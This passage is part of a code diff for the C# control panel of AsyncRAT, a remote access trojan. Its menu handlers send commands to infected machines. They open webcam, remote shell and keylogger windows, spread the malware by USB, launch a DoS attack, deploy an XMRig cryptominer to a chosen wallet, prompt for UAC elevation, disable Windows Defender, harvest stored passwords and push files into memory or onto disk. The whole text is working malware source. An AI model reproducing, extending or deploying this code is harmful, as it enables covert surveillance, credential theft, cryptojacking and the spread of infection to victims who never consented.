= new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteCamera.dll")); + + foreach (Clients client in GetSelectedClients()) + { + FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID]; + if (remoteDesktop == null) + { + remoteDesktop = new FormWebcam + { + Name = "Webcam:" + client.ID, + F = this, + Text = "Webcam:" + client.ID, + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera") + }; + remoteDesktop.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + + } + + + #endregion + + #region Miscellaneous + + private void BotsKillerToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "botKiller"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + new HandleLogs().Addmsg("Sending Botkiller..", Color.Black); + tabControl1.SelectedIndex = 1; + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void USBSpreadToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "limeUSB"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) { ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } - catch { } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + { } + } + + private void SeedTorrentToolStripMenuItem1_Click_1(object sender, EventArgs e) + { + using (FormTorrent formTorrent = new FormTorrent()) + { + formTorrent.ShowDialog(); + } + } + + private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "shell"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; + if (shell == null) + { + shell = new FormShell + { + Name = "shell:" + client.ID, + Text = "shell:" + client.ID, + F = this, + }; + shell.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private readonly FormDOS formDOS; + private void DOSAttackToolStripMenuItem_Click_1(object sender, EventArgs e) + { + try + { + if (listView1.Items.Count > 0) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "dosAdd"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + formDOS.Show(); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void ExecuteNETCodeToolStripMenuItem_Click_1(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + using (FormDotNetEditor dotNetEditor = new FormDotNetEditor()) + { + dotNetEditor.ShowDialog(); + } + } + + } + private void RunToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + if (listView1.SelectedItems.Count > 0) + { + using (FormMiner form = new FormMiner()) + { + if (form.ShowDialog() == DialogResult.OK) + { + if (!File.Exists(@"Plugins\xmrig.bin")) + { + File.WriteAllBytes(@"Plugins\xmrig.bin", Properties.Resources.xmrig); + } + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "xmr"; + packet.ForcePathObject("Command").AsString = "run"; + XmrSettings.Pool = form.txtPool.Text; + packet.ForcePathObject("Pool").AsString = form.txtPool.Text; + + XmrSettings.Wallet = form.txtWallet.Text; + packet.ForcePathObject("Wallet").AsString = form.txtWallet.Text; + + XmrSettings.Pass = form.txtPass.Text; + packet.ForcePathObject("Pass").AsString = form.txtPool.Text; + + XmrSettings.InjectTo = form.comboInjection.Text; + packet.ForcePathObject("InjectTo").AsString = form.comboInjection.Text; + + XmrSettings.Hash = GetHash.GetChecksum(@"Plugins\xmrig.bin"); + packet.ForcePathObject("Hash").AsString = XmrSettings.Hash; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void KillToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "xmr"; + packet.ForcePathObject("Command").AsString = "stop"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } } #endregion + #region Extra + private void VisitWebsiteToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); + if (string.IsNullOrEmpty(url)) + return; + else + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "visitURL"; + packet.ForcePathObject("URL").AsString = url; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void SendMessageBoxToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!"); + if (string.IsNullOrEmpty(Msgbox)) + return; + else + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendMessage"; + packet.ForcePathObject("Message").AsString = Msgbox; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + + + private void ChatToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + foreach (Clients client in GetSelectedClients()) + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; + if (chat == null) + { + chat = new FormChat + { + Name = "chat:" + client.ID, + Text = "chat:" + client.ID, + F = this, + ParentClient = client + }; + chat.Show(); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + + private void GetAdminPrivilegesToolStripMenuItem_Click_1(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + DialogResult dialogResult = MessageBox.Show(this, "Popup UAC prompt? ", "AsyncRAT | UAC", MessageBoxButtons.YesNo, MessageBoxIcon.Information); + if (dialogResult == DialogResult.Yes) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "uac"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + if (client.LV.SubItems[lv_admin.Index].Text != "Administrator") + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + } + } + + private void DisableWindowsDefenderToolStripMenuItem_Click_1(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + DialogResult dialogResult = MessageBox.Show(this, "Will only execute on clients with administrator privileges!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information); + if (dialogResult == DialogResult.Yes) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "disableDefedner"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + if (client.LV.SubItems[lv_admin.Index].Text == "Admin") + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + } + } + + private void BlankScreenToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "blankscreen"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + + #endregion + + #region System Client + private void CloseToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "close"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void RestartToolStripMenuItem2_Click(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "restart"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void UpdateToolStripMenuItem2_Click(object sender, EventArgs e) + { + try + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendFile"; + packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName))); + packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); + packet.ForcePathObject("Update").AsString = "true"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void UninstallToolStripMenuItem_Click(object sender, EventArgs e) + { + DialogResult dialogResult = MessageBox.Show(this, "Are you sure you want to unistall", "AsyncRAT | Unistall", MessageBoxButtons.YesNo, MessageBoxIcon.Information); + if (dialogResult == DialogResult.Yes) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "uninstall"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + } + + private void ShowFolderToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + foreach (Clients client in GetSelectedClients()) + { + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID); + if (Directory.Exists(fullPath)) + { + Process.Start(fullPath); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + #endregion + + #region System PC + private void RestartToolStripMenuItem3_Click(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "pcOptions"; + packet.ForcePathObject("Option").AsString = "restart"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void ShutdownToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "pcOptions"; + packet.ForcePathObject("Option").AsString = "shutdown"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void LogoffToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "pcOptions"; + packet.ForcePathObject("Option").AsString = "logoff"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + #endregion + + #region Builder private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e) { #if DEBUG @@ -289,7 +1246,9 @@ namespace Server formBuilder.ShowDialog(); } } + #endregion + #region About private void ABOUTToolStripMenuItem_Click(object sender, EventArgs e) { using (FormAbout formAbout = new FormAbout()) @@ -297,7 +1256,28 @@ namespace Server formAbout.ShowDialog(); } } + #endregion + #endregion + #region Logs + private void CLEARToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + lock (Settings.LockListviewLogs) + { + listView2.Items.Clear(); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + #endregion + + #region Thumbnails private void STARTToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.Items.Count > 0) @@ -342,6 +1322,84 @@ namespace Server } catch { } } + #endregion + + #region Tasks + + private void DELETETASKToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView4.SelectedItems.Count > 0) + { + foreach (ListViewItem item in listView4.SelectedItems) + { + item.Remove(); + } + } + } + + private async void TimerTask_Tick(object sender, EventArgs e) + { + try + { + if (getTasks.Count > 0 && GetAllClients().Length > 0) + foreach (AsyncTask asyncTask in getTasks.ToList()) + { + if (GetListview(asyncTask.id) == false) + { + getTasks.Remove(asyncTask); + Debug.WriteLine("task removed"); + return; + } + + foreach (Clients client in GetAllClients()) + { + if (!asyncTask.doneClient.Contains(client.ID)) + { + Debug.WriteLine("task executed"); + asyncTask.doneClient.Add(client.ID); + SetExecution(asyncTask.id); + ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack); + } + } + await Task.Delay(15 * 1000); //15sec per 1 task + } + } + catch { } + } + private void PASSWORDRECOVERYToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + if (listView4.Items.Count > 0) + { + foreach (ListViewItem item in listView4.Items) + { + if (item.Text == "Recovery Password") + { + return; + } + } + } + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); + + ListViewItem lv = new ListViewItem(); + lv.Text = "Recovery Password"; + lv.SubItems.Add("0"); + lv.ToolTipText = Guid.NewGuid().ToString(); + listView4.Items.Add(lv); + listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + + getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } private async void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e) { @@ -493,47 +1551,6 @@ namespace Server } } - private void DELETETASKToolStripMenuItem_Click(object sender, EventArgs e) - { - if (listView4.SelectedItems.Count > 0) - { - foreach (ListViewItem item in listView4.SelectedItems) - { - item.Remove(); - } - } - } - - private async void TimerTask_Tick(object sender, EventArgs e) - { - try - { - if (getTasks.Count > 0 && GetAllClients().Length > 0) - foreach (AsyncTask asyncTask in getTasks.ToList()) - { - if (GetListview(asyncTask.id) == false) - { - getTasks.Remove(asyncTask); - Debug.WriteLine("task removed"); - return; - } - - foreach (Clients client in GetAllClients()) - { - if (!asyncTask.doneClient.Contains(client.ID)) - { - Debug.WriteLine("task executed"); - asyncTask.doneClient.Add(client.ID); - SetExecution(asyncTask.id); - ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack); - } - } - await Task.Delay(15 * 1000); //15sec per 1 task - } - } - catch { } - } - private bool GetListview(string id) { foreach (ListViewItem item in Program.form1.listView4.Items) @@ -559,1025 +1576,7 @@ namespace Server } } - - private void TOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - FormSendFileToMemory formSend = new FormSendFileToMemory(); - formSend.ShowDialog(); - if (formSend.IsOK) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "sendMemory"; - packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()))); - if (formSend.comboBox1.SelectedIndex == 0) - { - packet.ForcePathObject("Inject").AsString = ""; - } - else - { - packet.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; - } - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - client.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - formSend.Close(); - formSend.Dispose(); - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private async void TODISKToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - using (OpenFileDialog openFileDialog = new OpenFileDialog()) - { - openFileDialog.Multiselect = true; - if (openFileDialog.ShowDialog() == DialogResult.OK) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "sendFile"; - packet.ForcePathObject("Update").AsString = "false"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); - - foreach (Clients client in GetSelectedClients()) - { - client.LV.ForeColor = Color.Red; - foreach (string file in openFileDialog.FileNames) - { - await Task.Run(() => - { - packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(file))); - packet.ForcePathObject("Extension").AsString = Path.GetExtension(file); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - }); - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void CLEARToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - lock (Settings.LockListviewLogs) - { - listView2.Items.Clear(); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void VisitWebsiteToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com"); - if (string.IsNullOrEmpty(url)) - return; - else - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "visitURL"; - packet.ForcePathObject("URL").AsString = url; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void SendMessageBoxToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!"); - if (string.IsNullOrEmpty(Msgbox)) - return; - else - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "sendMessage"; - packet.ForcePathObject("Message").AsString = Msgbox; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack msgpack = new MsgPack(); - //DLL Plugin - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteDesktop.dll")); - foreach (Clients client in GetSelectedClients()) - { - FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; - if (remoteDesktop == null) - { - remoteDesktop = new FormRemoteDesktop - { - Name = "RemoteDesktop:" + client.ID, - F = this, - Text = "RemoteDesktop:" + client.ID, - ParentClient = client, - FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") - }; - remoteDesktop.Show(); - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void KeyloggerToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\LimeLogger.dll")); - - foreach (Clients client in GetSelectedClients()) - { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; - if (KL == null) - { - KL = new FormKeylogger - { - Name = "keyLogger:" + client.ID, - Text = "keyLogger:" + client.ID, - F = this, - }; - KL.Show(); - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void ChatToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - foreach (Clients client in GetSelectedClients()) - { - FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; - if (chat == null) - { - chat = new FormChat - { - Name = "chat:" + client.ID, - Text = "chat:" + client.ID, - F = this, - ParentClient = client - }; - chat.Show(); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void FileManagerToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\FileManager.dll")); - - foreach (Clients client in GetSelectedClients()) - { - FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (fileManager == null) - { - fileManager = new FormFileManager - { - Name = "fileManager:" + client.ID, - Text = "fileManager:" + client.ID, - F = this, - FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID) - }; - fileManager.Show(); - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); - tabControl1.SelectedIndex = 1; - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void ProcessManagerToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\ProcessManager.dll")); - - foreach (Clients client in GetSelectedClients()) - { - FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; - if (processManager == null) - { - processManager = new FormProcessManager - { - Name = "processManager:" + client.ID, - Text = "processManager:" + client.ID, - F = this, - ParentClient = client - }; - processManager.Show(); - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - { } - } - - private void BotsKillerToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "botKiller"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - new HandleLogs().Addmsg("Sending Botkiller..", Color.Black); - tabControl1.SelectedIndex = 1; - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void USBSpreadToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "limeUSB"; - - MsgPack msgpack = new MsgPack(); - 